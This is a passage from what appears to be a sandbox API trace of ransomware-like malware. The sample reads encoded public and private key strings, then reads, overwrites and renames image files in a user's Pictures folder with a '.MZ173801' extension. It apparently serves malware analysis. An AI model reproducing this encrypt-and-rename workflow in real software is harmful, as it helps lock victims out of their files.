lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.680] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24e324c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.680] GetCurrentThreadId () returned 0xab4 [0153.680] GetCurrentThreadId () returned 0xab4 [0153.680] GetCurrentThreadId () returned 0xab4 [0153.681] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\KOUa9IHzzFzSN.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\koua9ihzzfzsn.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.681] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.681] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.681] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x5535 [0153.681] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.681] ReadFile (in: hFile=0x2f8, lpBuffer=0x24eb050, nNumberOfBytesToRead=0x5535, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24eb050*, lpNumberOfBytesRead=0x19f74c*=0x5535, lpOverlapped=0x0) returned 1 [0153.682] CloseHandle (hObject=0x2f8) returned 1 [0153.682] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\KOUa9IHzzFzSN.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\koua9ihzzfzsn.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.683] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f1080*, nNumberOfBytesToWrite=0x5535, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f1080*, lpNumberOfBytesWritten=0x19f758*=0x5535, lpOverlapped=0x0) returned 1 [0153.686] CloseHandle (hObject=0x2f8) returned 1 [0153.688] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\KOUa9IHzzFzSN.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\koua9ihzzfzsn.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\KOUa9IHzzFzSN.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\koua9ihzzfzsn.bmp.mz173801")) returned 1 [0153.689] GetCurrentThreadId () returned 0xab4 [0153.689] GetCurrentThreadId () returned 0xab4 [0153.689] GetCurrentThreadId () returned 0xab4 [0153.689] GetCurrentThreadId () returned 0xab4 [0153.689] GetCurrentThreadId () returned 0xab4 [0153.689] GetCurrentThreadId () returned 0xab4 [0153.689] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8b78480, ftCreationTime.dwHighDateTime=0x1d5f124, ftLastAccessTime.dwLowDateTime=0x14d46480, ftLastAccessTime.dwHighDateTime=0x1d5e719, ftLastWriteTime.dwLowDateTime=0x14d46480, ftLastWriteTime.dwHighDateTime=0x1d5e719, nFileSizeHigh=0x0, nFileSizeLow=0x103df, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="MmyqV.bmp", cAlternateFileName="")) returned 1 [0153.689] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.689] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.689] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\MmyqV.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\mmyqv.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8b78480, ftCreationTime.dwHighDateTime=0x1d5f124, ftLastAccessTime.dwLowDateTime=0x14d46480, ftLastAccessTime.dwHighDateTime=0x1d5e719, ftLastWriteTime.dwLowDateTime=0x14d46480, ftLastWriteTime.dwHighDateTime=0x1d5e719, nFileSizeHigh=0x0, nFileSizeLow=0x103df)) returned 1 [0153.689] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\MmyqV.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\mmyqv.bmp")) returned 0x20 [0153.689] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\MmyqV.bmp", dwFileAttributes=0x80) returned 1 [0153.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.691] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0153.692] GetCurrentThreadId () returned 0xab4 [0153.692] GetCurrentThreadId () returned 0xab4 [0153.692] GetCurrentThreadId () returned 0xab4 [0153.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.692] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.693] GetCurrentThreadId () returned 0xab4 [0153.693] GetCurrentThreadId () returned 0xab4 [0153.693] GetCurrentThreadId () returned 0xab4 [0153.693] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\MmyqV.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\mmyqv.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.693] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.693] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.693] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x103df [0153.693] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.693] ReadFile (in: hFile=0x2f8, 